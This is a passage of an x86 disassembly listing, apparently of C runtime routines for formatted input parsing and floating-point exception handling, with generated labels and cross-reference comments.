		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2670497h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

